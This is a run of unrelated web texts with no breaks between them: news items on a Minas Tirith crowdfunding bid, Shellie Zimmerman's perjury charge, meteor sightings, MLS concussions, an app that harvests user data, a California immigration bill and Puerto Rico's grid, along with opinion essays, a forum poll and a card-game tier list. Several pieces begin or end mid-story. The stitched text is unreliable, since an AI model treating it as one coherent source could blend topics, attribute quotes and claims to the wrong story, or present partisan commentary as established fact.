The Indiegogo campaign has twenty different pledge levels, ranging from £3 up to £1.72 million — the latter of which will get you a luxurious four-bedroom penthouse. Two different locations are being considered for Minas Tirith, both in southern England, but Wilson assures contributors that both will offer "splendid views."
With such a hefty goal to meet in only 60 days, the odds are stacked high against the project's success. At the time of this writing, the project is 12 days in but hasn't yet raised enough money to constitute even 1 percent of its goal.
What the campaign needs is more information. The Indiegogo page is remarkably sparse, providing very few concrete details about how the city will become reality. How about a video from Wilson's team, which would let investors see their commitment and passion? Or why not post some preliminary schematics or floor plans, to convey how serious they are about the project? Some background information on this "group of architects" would be nice as well, along with their credentials. As is, potential supporters know nothing about them at all.
To keep track of Minas Tirith's progress, follow @realiseminas on Twitter.
Be sure to follow T-Lounge on Twitter and visit our Facebook page.
She quickly posted $1,000 bond and was released.
At Zimmerman’s April 20 bond hearing, Shellie Zimmerman, 25, was asked whether the couple had any money.
“Uhmm, not, not that I’m aware of,” she responded.
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But prosecutors say bank records show Shellie Zimmerman had stashed cash in a safe deposit box and transferred nearly $75,000 from her husband’s bank account into hers. When her husband was granted bond and released from jail, the money was returned to George Zimmerman’s account, according to a probable-cause affidavit prosecutors filed.
Shellie Zimmerman was charged with committing perjury during an official proceeding, a third-degree felony punishable by up to five years in prison and a $5,000 fine.
“Prosecutors sent a strong message that you have to tell the truth in court, because it is the whole basis of the judicial system,” said attorney Benjamin Crump, who spent weeks pushing for Zimmerman’s arrest in the Feb. 26 killing of teenager Trayvon Martin. “The credibility of each witness is always at the crux of every legal case,” added Crump, who represents Trayvon’s parents.
George Zimmerman was not charged with perjury because he was never asked about money while under oath.
Zimmerman is facing a second-degree murder charge, which carries possible life sentence, in Trayvon’s death. Shortly after Zimmerman’s arrest in April, his lawyer requested a full bond hearing to determine whether he could be released pending trial.
Zimmerman’s family testified under oath by phone.
At the hearing, defense attorney Mark O’Mara and prosecutor Bernardo de la Rionda asked Shellie Zimmerman whether the couple had any funds. Shellie Zimmerman said the defense attorney had explained to her that he planned to apply for state financial aid reserved for the indigent who cannot pay their court costs.
Asked by de la Rionda how much money had been raised by a website George Zimmerman set up while he was in hiding, Shellie Zimmerman said she did not know.
To pay the bond, she said, the family planned to “pull together members of the family to scrape up anything that we possibly can.”
Days after Zimmerman’s release on $150,000 bond, O’Mara revealed to the court that the website’s PayPal account had amassed $204,000. O’Mara claimed that day that his client hadn’t mentioned it at the bond hearing because Zimmerman did not know how much money was available to him at the time.
The defense lawyer has since acknowledged that his client lied because of “fear, mistrust and confusion.”
At first the judge set the bond issue aside while prosecutors investigated the matter. At an unrelated court hearing held June 1, the prosecutor stunned the court by filing a motion to revoke Zimmerman’s bond.
De la Rionda said jailhouse phone calls between Zimmerman and his wife — recorded before the April 20 bond hearing — showed she knew the PayPal account had already raised over $100,000. According to the affidavit, the two engaged in a plot to hide the money.
From April 16 to 19, Shellie Zimmerman transferred $74,400 from George Zimmerman’s account to her own in small chunks: She transferred just under $10,000 six times and $7,500 twice.
On the 16th, she twice withdrew $9,000 cash from her own account and later discussed with her husband taking what she “put in the box.”
George Zimmerman felt safer if his wife used gift cards instead of cash and asked her to pay off their American Express and Sam’s Club cards, according to prosecutors.
On April 16 and 17, another $47,000 was transferred from Zimmerman’s account to his sister’s bank account.
Prosecutors said Zimmerman and his wife were careful to speak in code.
“I’m, um, trying to think cause you’re going to take out $10 and keep it with you in cash, right?” George Zimmerman said to his wife.
“Yeah, like $9,” Shellie Zimmerman answered.
He asked whether she had “more than $10” cash.
“Not with me,” she said.
“Do I have $100?”
“There’s like $8. $8.60,” she said.
“Total, how much are we looking at?” he asked her.
“Um, like $155.”
George Zimmerman said he didn’t want to spend it all in one shot by using it all on bond and said another person had advised to hoard as “much cash as possible.”
On April 24, once Zimmerman was free, the couple transferred $85,000 back to his account.
When Circuit Judge Kenneth Lester learned of the scheme earlier this month, he revoked Zimmerman’s bond. Another bond hearing is scheduled for June 29.
By Michael Snyder
Have we failed this generation of young adults by not equipping them to be able to handle the harsh realities of the real world? According to the Wall Street Journal, the percentage of Americans in the 18 to 34-year-old age bracket that are currently living with their parents hasn’t been this high in 75 years. At this point nearly 40 percent of our young adults in that age range are living at home, and many are concerned that this could have some alarming implications for the future of our nation.
In the United States today, more than 60 million people live in multi-generational households, and it is a good thing to have a tight family. But at some point young adults need to learn how to live their own independent lives, and in millions of cases this independence is being delayed or is never happening at all.
There are many factors involved in this trend. First of all, there is truly a lack of good jobs despite what we are being told about an “economic recovery”. Millions of young adults are graduating from college only to discover that there is a very limited number of good jobs available for our college graduates. So some college graduates are able to secure the types of jobs that they were hoping for, but millions of others are not.
Normally when a recession ends, the percentage of young adults living with their parents starts to go back down. But this has not happened this time around. Instead, the percentage of young adults that live at home has just continued to rise…
The trend runs counter to that of previous economic cycles, when after a recession-related spike, the number of younger Americans living with relatives declined as the economy improved.
The result is that there is far less demand for housing than would be expected for the millennial generation, now the largest in U.S. history. The number of adults under age 30 has increased by 5 million over the last decade, but the number of households for that age group grew by just 200,000 over the same period, according to the Harvard Joint Center for Housing Studies.
Another major factor in all of this is the fact that Americans are getting married later in life than ever before and they are having fewer kids than previous generations.
In the old days, people got married young and they set up their own households even if they were dirt poor. But these days we have hordes of single young adults that are perfectly content to sit at home and sponge off of Mommy and Daddy.
There seems to be a real lack of toughness to this generation of young adults, and many that have perceived this lack of toughness have resorted to referring to them as “Generation Snowflake”. Over the past 12 months this term has become so common that the Guardian has dubbed it “the defining insult of 2016?…
Until very recently, to call someone a snowflake would have involved the word “generation”, too, as it was typically used to describe, or insult, a person in their late teens or early 20s. At the start of November, the Collins English Dictionary added “snowflake generation” to its words of the year list, where it sits alongside other vogue-ish new additions such as “Brexit” and “hygge”. The Collins definition is as follows: “The young adults of the 2010s, viewed as being less resilient and more prone to taking offence than previous generations”. Depending on what you read, being part of the “snowflake generation” may be as benign as taking selfies or talking about feelings too much, or it may infer a sense of entitlement, an untamed narcissism, or a form of identity politics that is resistant to free speech.
The phrase came to prominence in the UK at the beginning of 2016, after Claire Fox, director of the thinktank Institute of Ideas, used it in her book I Find That Offensive to address a generation of young people whom she calls “easily offended and thin-skinned”.
Of course there are exceptions. I have some close friends that are young adults in this age range, and they are extraordinary people.
But overall, we seem to have dramatically failed this generation. Maybe it is because we tend to baby our children from a very early age, and we want to protect them from danger so much that we never allow them to be exposed to the challenges that they need to face in order to toughen up and mature.
And it certainly doesn’t help that many of our young adults enter “the real world” already drowning in tens of thousands of dollars of debt. According to CNN, about 70 percent of all college graduates in the U.S. will leave school with student loan debt, and the average loan balance for those college graduates is approximately $28,950. Paying off student loan debt can be extremely painful, and it can be financially crippling for young people that are just trying to start their new lives.
When our high school kids are looking toward the future, we very much encourage them to go to the very best schools that they can possibly get into, and we tell them to not even worry about the cost. We promise them that there will be plenty of good jobs once they graduate, and we push them into these loans without even warning them to consider the future implications.
According to a stunning article in the Wall Street Journal, many Baby Boomers are actually having money taken out of their Social Security checks because of unpaid student loans. So when you go into student loan debt, it can literally haunt you for the rest of your life…
The government has collected about $1.1 billion from Social Security recipients of all ages to go toward unpaid student loans since 2001, including $171 million last year, the Government Accountability Office said Tuesday. Most affected recipients in fiscal year 2015—114,000—were age 50 or older and receiving disability benefits, with the typical borrower losing about $140 a month. About 38,000 were above age 64.
The report highlights the sharp growth in baby boomers entering retirement with student debt, most of it borrowed years ago to cover their own educations but some used to pay for their children’s schooling. Overall, about seven million Americans age 50 and older owed about $205 billion in federal student debt last year. About 1 in 3 were in default, raising the likelihood that garnishments will increase as more boomers retire.
What we are doing is clearly not working, but I am not particularly optimistic that this system will be fixed any time soon.
If you are a young person, you need to have a solid plan before pursuing an expensive college education. Many young people just major in anything that they want without even considering if it will lead to a good career. And instead of working hard to graduate in four years, many decide that they want to stretch the “college experience” out for five or six years so that they can party as much as possible before entering the real world.
The real world is a cold, cruel place, and if you start your new life drowning in debt that is just going to make things even more difficult for you.
On a personal note, I want to thank everyone that has supported the growth of The Most Important News. It is a central news hub where you can find all of my articles, posts by incredible guest authors and many of the key news stories from all over the globe all gathered in one place. Some technical issues have forced the site to be down for extended periods of time lately, but now it is being migrated to a much more powerful server. I will not be updating it during the migration, but I should resume a normal posting schedule again very soon.
And I would like to thank all of my readers for making 2016 an absolutely amazing year. I love you all, and I wish you all the very best as we head into what should prove to be a very “interesting” 2017.
Related Posts: We truly are under attack. We need user support now more than ever! For as little as $10, you can support the IWB directly – and it only takes a minute. Thank you. 718 views 718 views
To test the effects of cell phone vs. actual conversations on our distractibility, researchers at the University of San Diego had people work on a task in which they had to try to solve 30 simple or challenging anagrams (for example, ehuos= house). While they were completing their tasks, actors – or “confederates” of the study – had a staged conversation, either on a cell phone (one-sided) or in person (two-sided). The conversations involved planning a party, shopping for furniture, or meeting a date at the mall. The unsuspecting participants were told that the study was about their problem-solving capacities; they didn't know that their ability or inability to ignore the conversations was the actual thrust.
To see what was going on, the team measured how well the participants did on their anagram tests, how well they recalled the subject matter in the staged conversations (that they weren’t supposed to be listening to), and how they rated their experience while trying to execute their tasks.
As you’d guess, people were much better at recalling the content of the cell phone conversations than the live conversations – meaning that they must have, for whatever reason, listened a bit more closely to the cell phone exchanges than the live ones.
There are a few explanations for this phenomenon. One is that since we don’t know what’s happening on the other side of the conversation, it takes some additional brain-power to figure it out. And because we just have to know what’s going on, we just have to devote a little extra attention to the conversation, which requires some extra guesswork and concentration. Rosa Vessal, an undergraduate student who helped carry out the research, says that “unintentional eavesdropping on cell phone calls may be because the content of the conversation is unpredictable. Not knowing where the conversation is heading is what makes cell phone calls more distracting.”
Participants in the study also perceived the cell phone conversations as being more annoying and distracting than the two-sided ones. This may be because we get uncomfortable and anxious when we lack control of a situation, says lead researcher Veronica Galván. “Bystanders who are exposed to these personal conversations may not have much control, thereby increasing their levels of annoyance and frustration. Research has shown that bystanders in situations where they are not free to leave (for example, waiting for or using public transportation) often find cell phone conversations annoying.”
And there’s one more reason that cell phone conversations are attention-grabbing, says Galván: People tend to reveal oddly personal information on these calls, which against the backdrop of a public or professional setting, is especially hard to ignore. Before the birth of cell phones, people might reserve delicate subjects for home phone calls, or at least lower their voices if discussing them in public – but no more.
What the relevance of the study is to our everyday lives isn’t totally clear beyond the cell-phones-are-annoying factor – but Galván says that people who are trying to work in environments in which they are privy to other people’s loud cell phone conversations could find themselves distracted to the point of reduced productivity. Office workers have always had to contend with phone calls at the next cubicle, but there’s something fundamentally different, and more distracting, apparently, about cell phones.
Galván believes that “a person’s performance might be greater in an environment with fewer one-sided conversations. In some situations, this is not feasible…or impractical to implement, because some work places are inherently noisy.” But making no cell phone rules in offices might have a positive effect on productivity.
The study didn’t find any difference in how well the participants actually performed on their anagram tests, but it may well be that other kinds of work, which required different kinds of attention involving more drawn out concentration (perhaps a writing project), might be affected differently.
In any case, the study shows what we already knew instinctively – that cell phones are attention-grabbing in ways that are probably no good. "This is the first study to use a realistic situation to show that overhearing a cell phone conversation is a uniquely intrusive and memorable event,” says Galván. So if you must talk on your phone, have a heart and go outside. And if you must reveal the results of your latest pap smear, just remember that cell phones are much better instruments than they were a decade ago – so shouting into them is no longer a necessity.
Taylor Twellman and Chad Marshall are notable victims. So is Alecko Eskandarian, who announced recently that he's stopped playing indefinitely because of post-concussion syndrome. Eskandarian detailed the agony and uncertainty of his recovery in an article I wrote in Thursday's Bergen Record.
"I'm a soccer player through and through. If I could play, I would. Being an athlete my whole life, shutting it down is the worst type of torture," Eskandarian said. "At the same time, this is my brain. It's not a hamstring or an ankle. "I don't care how tough you are. This about living a good life after soccer, as well. It's really unpredictable. There's no guarantee and you're forced to think about these things."
While the NFL is setting precedents with league-wide treatment guidelines, MLS has attempted other avenues of prevention.
As part of a US Soccer directive - implemented by MLS before the 2008 season - referees were instructed to give straight red cards for deliberate blows to the head. Referees are also encouraged to allow play to continue if a player is lying on the pitch, unless there's a suspected head or neck injury.
Three years ago, MLS partnered with ImPact - a company also utilized by teams in the NFL and Major League Baseball - to promote testing and awareness of concussions. According to MLS spokesman Will Kuhns, every player is given a brain examination before the season, and teams are encouraged to consult that data whenever a head injury occurs.
But the time-line for concussion recovery is a murky area, and MLS leaves that interpretation entirely up to players and team doctors. Twellman, for instance, played eight straight league games following his concussion in 2008. Marshall sustained four concussions during a 12-month period between 2006 and 2007, ending his 2007 campaign two months early. Eskandarian sat out most of 2005 after suffering three concussions in three years.
Ross Paule was only 29 years old when he retired from the Columbus Crew because of post-concussion syndrome. Five years later, he still struggles with blurred vision and an inability to focus. Asked whether he's played since retiring, Paule responded: "No. And I never will."
"The symptoms are at their worse when I'm tired and sick," he said. "It's like the concussions broke down my immune system. It's a serious thing, but I've learned to adapt."
As head trainer of the Red Bulls, Rick Guter treated two players last year who suffered concussions during games - striker Juan Pablo Angel and goalkeeper Danny Cepero. He said there's no public protocol for treatment, but his personal rule is that a player must be symptom-free for a week before he plays again.
Guter, who has been on the US National team medical staff since 1995, watched concussion treatments evolve from a hazy process to something scientific, particularly over the last five years.
Long-term effects now carry greater importance, he said, as well as hidden symptoms that can't be uncovered in a conversation or a memory test. Guter also admits there that "for a long time there was quite a bit of confusion on how we should treat concussions.
"We're more conservative than we used to be," Guter said, while adding that most concussions among soccer players stem from head-to-head clashes or elbow-to-head clashes. "We've started to rely less on what the players say and more on what we see."
Still, is it enough? Paule said the league should at least explore the idea of standard treatment guidelines. More importantly, he said, players should learn to police themselves.
"As an athlete, you're always taught to get back out there and play with injuries and give it all," he said. "But if something doesn't feel right, get in and see a neurologist right away. Know the risks and get looked at. If you don't feel right, don't go out there. It's easier said than done, because when you make it the highest part of the game, you can trick yourself into believing that you're feeling fine. Concussions aren't something you see. It's a complicated thing."
Researchers from Western University say a basketball-sized meteor that was almost as bright as the full moon lit up the skies of southwestern Ontario this week.
Western astronomers are now hoping for help from local residents in recovering one or more possible meteorites that may have crashed just north of St. Thomas. They are holding a news conference with NASA at 11 a.m. ET Friday to provide more information.
Western's faculty of science has a network of all-sky cameras in southern Ontario that scan the atmosphere monitoring for meteors.
Peter Brown, who specializes in the study of meteors and meteorites, says that on the evening of March 18 a long-lasting fireball was detected by seven all-sky cameras.
The brilliant fireball started near Port Dover, Ont., at a height of 75 kilometres and moved westward before ending at an altitude of 32 kilometres between Aylmer, Ont., and St. Thomas. One or more meteorites were produced by the slow fireball based on the video records from the cameras.
Researchers are interested in hearing from anyone approximately five kilometres north or northwest of St. Thomas, who may have witnessed or recorded the event, or who may have found possible fragments of the freshly fallen meteorite.
In Canada, meteorites belong to the owner of the land upon which they are discovered.
The discovery was made by engineers at AdGuard, a provider of ad-blocking technology. AdGuard says it detected suspicious requests while analyzing the app's web traffic following its installation.
The company says it looked into GO Keyboard's behavior after an incident with another custom keyboard, TouchPal, that started showing ads over the typing area this past July.
App collected user data, ran external code
While investigating GO Keyboard for similar intrusive ads, AdGuard says it detected the app collecting a large amount of data from the device right after installation and sending it to a remote server.
"Without explicit user consent, the GO keyboard reports to its servers your Google account email in addition to language, IMSI, location, network type, screen size, Android version and build, device model, etc.," said Andrey Meshkov, AdGuard co-founder.
The app also communicates with dozens of third-party trackers and ad networks, Meshkov found, and also downloads and runs a 14 MB file blob, also shortly after installation.
Both actions — collecting user data without user consent and downloading and executing code from a third-party server (bypassing the app review process) — is forbidden for apps uploaded on the Google Play Store.
Researchers notified Google. No action as of yet.
AdGuard says it informed Google of the app's behavior, but at the time of their investigation publication, the Google team had not answered their report.
There are two versions of the Go Keyboard [1, 2] that exhibit this behavior, Meshkov said. Both of them have an installation count between 100 and 500 million users, meaning the number of affected users ranges from 200 million to 1 billion.
California Senate President Kevin de León (D-Los Angeles) has introduced legislation to prevent state and local law enforcement from aiding federal immigration officials in deportations of illegal immigrants, he announced in a press release on Wednesday.
The bill entitled the California Values Act – or in de León’s words, a “bill to freeze out ICE” – would also create “safe zones” throughout the state in locations such as public schools, hospitals, and courthouses, where state and local law enforcement would be prohibited from enforcing immigration laws.
“To the millions of undocumented residents pursuing and contributing to the California Dream, the state of California will be your wall of justice should the incoming administration adopt an inhumane and over-reaching mass-deportation policy,” Sen. de León said in a statement. “We will not stand by and let the federal government use our state and local agencies to separate mothers from their children.”
While the California Values Act does not prevent state and local law enforcement from complying with judicial warrants to transfer violent offenders into federal custody for deportation, they are prohibited from performing the functions of a federal immigration officer and from cooperating with Immigration and Customs Enforcement (ICE) agents in deportations.
Regimes in Moscow, Pyongyang and Tehran simply pocket his concessions and carry on as before. The picture emerging from the White House is a disturbing one, of timidity, clumsiness and short-term calculation. Some say he is the weakest president since Jimmy Carter.
The grizzled veterans of the Democratic leadership in Congress have found Mr Obama and his team of bright young advisers a pushover. That has gravely weakened his flagship domestic campaign, for health-care reform, which fails to address the greatest weakness of the American system: its inflated costs. His free trade credentials are increasingly tarnished too. His latest blunder is imposing tariffs on tyre imports from China, in the hope of gaining a little more union support for health care. But at a time when America's leadership in global economic matters has never been more vital, that is a dreadful move, hugely undermining its ability to stop other countries engaging in a ruinous spiral of protectionism.
Even good moves are ruined by bad presentation. Changing Mr Bush's costly and untried missile-defence scheme for something workable was sensible. But offensively casual treatment of east European allies such as Poland made it easy for his critics to portray it as naïve appeasement of the regime in Moscow.
Let’s daydream for a moment. If only we had some way to divine the suitability of a student for an elite education, without ethnic bias, undeserved advantages to the wealthy, or pointless gaming of the system. If only we had some way to match jobs with candidates that was not distorted by the halo of prestige. A sample of behavior that could be gathered quickly and cheaply, assessed objectively, and double-checked for its ability to predict the qualities we value….
We do have this magic measuring stick, of course: it’s called standardized testing. I suspect that a major reason we slid into this madness and can’t seem to figure out how to get out of it is that the American intelligentsia has lost the ability to think straight about objective tests. After all, if the Ivies admitted the highest scoring kids at one end, and companies hired the highest scoring graduates across all universities at the other (with tests that tap knowledge and skill as well as aptitude), many of the perversities of the current system would vanish overnight. Other industrialized countries, lacking our squeamishness about testing, pick their elite students this way, as do our firms in high technology. And as Adrian Wooldridge pointed out in these pages two decades ago, test-based selection used to be the enlightened policy among liberals and progressives, since it can level a hereditary caste system by favoring the Jenny Cavilleris (poor and smart) over the Oliver Barretts (rich and stupid).
If, for various reasons, a university didn’t want a freshman class composed solely of scary-smart kids, there are simple ways to shake up the mixture. Unz suggests that Ivies fill a certain fraction of the incoming class with the highest-scoring applicants, and select the remainder from among the qualified applicant pool by lottery. One can imagine various numerical tweaks, including ones that pull up the number of minorities or legacies to the extent that those goals can be publicly justified. Grades or class rank could also be folded into the calculation. Details aside, it’s hard to see how a simple, transparent, and objective formula would be worse than the eye-of-newt-wing-of-bat mysticism that jerks teenagers and their moms around and conceals unknown mischief.
So why aren’t creative alternatives like this even on the table? A major reason is that popular writers like Stephen Jay Gould and Malcolm Gladwell, pushing a leftist or heart-above-head egalitarianism, have poisoned their readers against aptitude testing. They have insisted that the tests don’t predict anything, or that they do but only up to a limited point on the scale, or that they do but only because affluent parents can goose their children’s scores by buying them test-prep courses.
But all of these hypotheses have been empirically refuted. We have already seen that test scores, as far up the upper tail as you can go, predict a vast range of intellectual, practical, and artistic accomplishments. They’re not perfect, but intuitive judgments based on interviews and other subjective impressions have been shown to be far worse. Test preparation courses, notwithstanding their hard-sell ads, increase scores by a trifling seventh of a standard deviation (with most of the gains in the math component). As for Deresiewicz’s pronouncement that “SAT is supposed to measure aptitude, but what it actually measures is parental income, which it tracks quite closely,” this is bad social science. SAT correlates with parental income (more relevantly, socioeconomic status or SES), but that doesn’t mean it measures it; the correlation could simply mean that smarter parents have smarter kids who get higher SAT scores, and that smarter parents have more intellectually demanding and thus higher-paying jobs. Fortunately, SAT doesn’t track SES all that closely (only about 0.25 on a scale from -1 to 1), and this opens the statistical door to see what it really does measure. The answer is: aptitude. Paul Sackett and his collaborators have shown that SAT scores predict future university grades, holding all else constant, whereas parental SES does not. Matt McGue has shown, moreover, that adolescents’ test scores track the SES only of their biological parents, not (for adopted kids) of their adoptive parents, suggesting that the tracking reflects shared genes, not economic privilege.
A few weeks ago it appeared to be unlikely, but apparently a deal has been worked out for a rematch between Mexican rivals Ramon Alvarez and Omar Chavez.
Alvarez, who had little interest in the fight, has confirmed that he'll face Chavez again on April 29 in Rosarito, Baja California, under the promotion of Zanfer And TV Azteca televising the card.
The fight takes place a week before their brothers are scheduled to trade punches. Raul's younger brother, Saul "Canelo" Alvarez, will face Omar's older brother, Julio Cesar Chavez Jr, on May 6th from the T-Mobile Arena in Las Vegas.
The first time Ramon and Omar collided was in 2014, with Alvarez walking away with a clear decision win.
Although Alvarez was disappointed that the fight will not be in Las Vegas on the undercard of the pay-per-view battle between their brothers, in the end he was pleased with the monetary offer for the rematch.
"In the end there was always going to be the rematch. I think it was better in Las Vegas on the same card as our brothers, but neither Chavez Jr. nor Chávez's dad wanted to have that distraction and the fight will instead be done a week before. Because we are going to have all of the attention - I am sure that I will repeat the dose on Omar, and I hope this time by knockout," stated Alvarez to ESPN Deportes.
"What attracted me to this fight is that they told me that if I beat Omar I would fight for a world championship in my next fight, so I have to win to achieve my dream of competing in a world championship fight and beating him will give added motivation to my brother."
Edit: README, I'm quite amazed at some of the reactions in this topic. So far, the polls point out that over 1 out of 10 players is actually disgusted by the Swarm Host artwork. I would say that is a pretty high percentage. Also, please refrain from trolling with all kinds of phobias. This thing is REAL and people do suffer from it. If that upsets you, then I'm sorry. But please don't waste your time by trolling this thread.
Original post:
It seems a few people on TL mentioned that they can't bear to watch the Swarm Host. It triggers a fear called "Trypophobia". After a search on TL there seem to be more people who suffer from this. It made me wonder, is the Swarm Host a case of unfortunate artwork?
What is Trypophobia?
The irrational fear of clusters of holes, pods, circles, cracks, and/or other asymmestrical shapes which results in an all-over itchy feeling and a general uneasiness.
First, do the test and see if you can make it till the end of the video:
Edit2: No, I am not trolling guys. This thread is NOT a suggestion to change the artwork of the Swarm Host, it is an investigation out of personal interest on the number of people here that suffer from this and how many of them experience the Swarm Host as disturbing due to the holes. I find the numbers and serious responses pretty intriguing actually. Please stop with the "let's remove x too!" reactions. They have been made many times by now and don't contribute to this topic. Start your own topic to see if players have blue-flame-phobia or whatever. See my reaction elsewhere in this topic for a more detailed explanation about this thread, it's on page 8.Edit:, I'm quite amazed at some of the reactions in this topic. So far, the polls point out that over 1 out of 10 players is actually disgusted by the Swarm Host artwork. I would say that is a pretty high percentage. Also, please refrain from trolling with all kinds of phobias. This thing is REAL and people do suffer from it. If that upsets you, then I'm sorry. But please don't waste your time by trolling this thread.--------------------------------------Original post:It seems a few people on TL mentioned that they can't bear to watch the Swarm Host. It triggers a fear called "Trypophobia". After a search on TL there seem to be more people who suffer from this. It made me wonder, is the Swarm Host a case of unfortunate artwork?What is Trypophobia?First, do the test and see if you can make it till the end of the video:
Poll: Did you make it till the end of the video?
Yes, no problem (1776)
Yes, but it was kinda uncomfortable (609)
No, I had to stop watching at some point/had to scratch due to itches (296)
2681 total votes (1776)66%(609)23%(296)11%2681 total votes Your vote: Did you make it till the end of the video? (Vote): Yes, no problem
(Vote): Yes, but it was kinda uncomfortable
(Vote): No, I had to stop watching at some point/had to scratch due to itches
You can report your experiences (eg how far you made it) in this thread.
Now take a look at the swarm host:
You can report your experiences (eg how far you made it) in this thread.Now take a look at the swarm host:
Poll: Are you disgusted by the Swarm Host's holes on its back?
No (1901)
Yes (568)
2469 total votes (1901)77%(568)23%2469 total votes Your vote: Are you disgusted by the Swarm Host's holes on its back? (Vote): Yes
(Vote): No
Poll: Would you prefer different artwork for the Swarm Host?
No (1512)
Yes (896)
2408 total votes (1512)63%(896)37%2408 total votes Your vote: Would you prefer different artwork for the Swarm Host? (Vote): Yes
(Vote): No
5: top tier(for sure played)
4. abve avg (probably played)
3. avg (might be played)
2. unlikely to be played
1. terrible
*-possiby better in tribal decks ,i didnt apply this tag to all golems and arcanysts you can imagine it being there
a:arcanyst
g:golem
Magmar.
Lavaslasher[g:4/9](5)
Neutral.
Celebrant [g:1/4](2)
Trinity Wing[a:4/4](5)
Songhai
Calligrapher[a:3/7](7)
Vetruvian
Blood of air[hard removal](5)
Magmar.
Juggernaut[g:4/10](8)
Lyonar.
Warblade[g:1/4](2)
Sol Pontif[g:1/4](3)
Songhai.
Bangle Blinding Strike[celerity art](3)*
Kindling[3/5](4)
Vetruvian.
Dreamshaper[2/2](2)
Wind striker[1/4](4)
Sirrocco[4/3](5)
Abyssian
Death Knell[6/6](8)
Magmar.
Ragebinder[3/4](3)
Vanar.
Mana Deathgrip[ping +1 mana](1)
Ghost Seraphim[8/9](7)
Circulus[1/3](2)
Neutral
Feralu[4/3](4)
Loreweaver[a:2/5](4)
Boulder Breacher[g:5/5](5)
Blue Conjurer[a:4/6](5)
Grimes [3/3](6)**
EMP[g:9/9](7)
Lyonar.
Peacekeeper[g:5/5](7)
Songhai
Sparrowhawk[a:3/2](3)
Vetruvian
Thunderclap[resummon mins killed](4)
Abyssian.
Night Shroud[a:steal health/arca](4)
Nocturne[a:2/2](2)
Magmar.
Cascading Rebirth[summon mins one higher](2)
Vanar.
Kinderrd Hunter[a:3/3](3)
Neutral.
Ghoulie[3/4](3)
Lyonar.
Gold Vitriol[2 dam/heal](2)
Life Coil[x2 min health](3)
Songhai.
Joseki[steal rnd card](1)
Abyssian.
Blood Echoes[resummon board](3) Releaser[useless arti](3)
Magmar.
Godhammer[mins get grow +1/+1](1)
Vanar.
Links of Hindu extremists to terror generated a lot of heat. Home minister Sushilkumar Shinde had accused the BJP and its ideological parent the Rashtriya Swayamsewak Sangh (RSS) of holding terror training camps and promoting Hindu terrorism. He later apologised for the comment.
No permission from court, so no evidence: NIA
In April 2011, the NIA was handed over seven terror cases, including the 2007 Mecca Masjid and the Samjhauta Express blasts, on the grounds that the strikes were carried out and planned by same set of people.
Read: Aseemanand moves high court for bail in Samjhauta Express blast case
It was hoped that a single agency rather than multiple state agencies working at cross-purposes would be able to unmask them. But, three years, a dozen arrests and six charge-sheets later, investigators concede they are not even close to the goal. Instead the agency is coming around to the fact that it does not have enough to even question Indresh Kumar, who is thought to have encouraged the extremists to carry out the strikes and even financed them.
The NIA declined comment on the story.
Kumar, who was questioned by the CBI in December 2010, is one of the few national office-bearers of the RSS who also heads its units in the Northeast and Jammu and Kashmir.
Read: NIA must act on Aseemanand's interview, says Digvijaya
The accused told their interrogators that the RSS leader had during two meetings asked them to continue "their work". He is also alleged to have given money to former RSS pracharak Sunil Joshi, accused of leading the group of extremists who carried out six blasts between September 2006 and September 2008 that killed 138 people, for "his activities". Joshi was found murdered in December 2007. He was killed by his associates who worried that he would tell on them, an NIA probe claimed.
The agency had statements of witnesses and some of the accused against Kumar but these could only be used against him “if we can corroborate them with evidence that can stand judicial scrutiny”, an investigator told HT on condition of anonymity.
NIA officials say they are hamstrung as the cases were three to six years old when they were asked to probe. “Suppose for a meeting or even for planting a bomb, an accused travelled by bus or train. How can we find record of the journey now and any witnesses who could have seen them travel?” the investigator said. “We doubt if we can prove some of the cases during trial,” he said.
Besides, three accused -– Sandeep Dange, Ramji Kalasangra and Amit Chauhan -- are yet to be arrested. The NIA is also caught in a protracted legal battle to get custody of key accused Col Prasad Shrikant Purohit and Sudhakar Dwivedi.
RSS’ Kumar said he wasn’t surprised. Calling attempts to link him to the blasts as a “fraud” on “patriots” by government agencies, Kumar told HT the cases were cooked up to malign the “nationalists” within and outside the RSS. “There was no evidence against me,” he said.
Asked if the NIA’s talk of lack of evidence could have anything to do with the perception of a possible change of guard at the Centre after the ongoing polls, Kumar said: “I am not at the mercy of governments which come and go. It is a question of justice for patriots.”
The Army Corps of Engineers is installing up to 500 temporary generators until Puerto Rico’s old and deteriorating power grid can be made operational again, but long-term total power restoration could take nearly a year, the Corps’ chief of engineers told reporters at the Pentagon today.
The Corps is starting with public facilities and it faces power restoration to 3.4 million houses on the U.S. territory, some of which are in remote areas, Army Lt. Gen. Todd T. Semonite said.
Semonite said the island governor’s immediate goals are to restore power to 30 percent of Puerto Rico by the end of October and to 50 percent by the end of November, which the general said he considers a challenge.
The Corps is responding to the effects of four major hurricanes that struck the U.S. mainland, Puerto Rico and the U.S. Virgin Islands within a six-week span. Puerto Rico remains a challenge in part because it is an island, making it difficult to receive supplies, such as the 62,000 utility poles needed for power restoration.
“Puerto Rico and the Virgin Islands is a completely different paradigm,” he said. “People have asked me in the last several weeks … ‘Why don't you do in Puerto Rico what you could have done in Florida?’ Because it is an island and it is very, very hard to just drive hundreds of pole trucks … down into the Virgin Islands and Puerto Rico.”
The Corps also needs about 338 utility towers, Semonite said, noting that each one is 75 feet long and must be flown in. “And then we need an awful a lot of connectors and cable, as well. But the whole goal is to get the transmission up and running,” he added.
Four-fold Strategy
The Corps’ power strategy is fourfold, starting with the temporary generators. As of today, 148 have been put in place, Semonite said. | Army Corps of Engineers ‘Going All Out’ on Hurricane Recovery Efforts, Commander Says
The second line of effort is generation from the power plants.
“We need about 2,500 megawatts of power … to be able to restore the power back up to where it was at the beginning of the storm. Today, right now, we've got about 21.6 percent of that up,” he said.
Transmission is the third line of effort in the strategy to restore power, Semonite said. “The No. 1 goal right now of what the Corps is doing is to be able to move this electricity that's in the south up to the north,” he explained.
The fourth line of effort is distribution -- getting power to homes and other buildings along terrain that is a massive logistics challenge, the general said.
“There are seven large power plants that normally run off of fossil fuel,” he said. There are also about seven solar or wind power plants and 21 hydropower plants, Semonite added. But, the general explained, the majority of that power is generated in the southern part of the island, while the majority of the need is in the north -- particularly around San Juan. | Army Corps of Engineers: Restoring Puerto Rico’s Power Grid a ‘Massive, Long-Term Rebuild’
Moving Power
And though transmission and distribution remain a challenge, there just isn’t enough capacity in Puerto Rico’s existing power plants to provide electricity to the island, Semonite said.
“Even if in fact all of the power plants are up and running, we would have a generation shortfall,” he said. “So about a week and a half ago, we cut a contract to a large company to come back in and place a temporary power plant in San Juan.”
